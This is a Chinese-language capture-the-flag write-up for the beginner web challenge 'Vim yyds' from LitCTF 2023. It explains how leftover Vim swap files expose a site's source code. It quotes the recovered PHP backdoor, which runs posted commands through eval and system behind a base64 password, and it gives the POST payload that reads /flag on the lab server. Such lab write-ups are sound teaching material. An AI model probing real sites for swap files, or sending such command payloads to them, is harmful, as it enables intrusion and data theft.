NSSCTF入门题单[LitCTF 2023]WriteUP-NSSCTF-3866
North-Glory 2024-11-26
CTF
NSSCTF
WriteUP
[LitCTF 2023]这套题是Web方向入门题单,这是我的第18题
- 题单【传送门 (opens new window)】
- 主办方WriteUP【传送门 (opens new window)】
- 主办方WriteUP视频【传送门 (opens new window)】
题目编号 | 题目名称 | 题目方向 | 难度 |
---|---|---|---|
3866 | Vim yyds | Web | 1 |
# 题目18:Vim yyds
# 题目描述:漏…漏了!
# 考点1:信息泄露
# 考点2:Linux常用命令
# 预期解:
进入页面后,发现只有一个VIm的图标,结合题目描述,可以大致想到是Vim缓存文件泄露

Vim的备份文件后缀/Vim缓存文件后缀
使用 vim 时会创建临时缓存文件,关闭vim时缓存文件会被删除。如果vim 异常 退出,这时候未处理缓存文件,就会导致可以通过缓存文件查看文件内容。 第一次意外退出产生的备份文件名为:.filename.swp 第二次意外退出产生的备份文件名为:.filename.swo 第三次意外退出产生的备份文件名为:.filename.swn
由此我们可以访问.index.php.swp,这个文件就是vim编辑后的缓存文件,在下载过后(有可能杀毒软件会弹窗),我们用010Editor或者其他编辑器打开,找到关键代码
$password = "Give_Me_Your_Flag";
$_POST['password'] === base64_encode($password)
eval(system($_POST['cmd']));
1
2
3
2
3
这段代码的意思是,我们用POST方法请求,并且传入一个名为“password”的参数,参数值必须为用base64加密过后的"Give_Me_Your_Flag",这样才能触发后边的木马,也就是传入一个名为cmd的参数,这个参数值即为命令。
我们打开HackBar,像该网站发送请求
#地址
http://node4.anna.nssctf.cn:28004/
#参数
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
1
2
3
4
2
3
4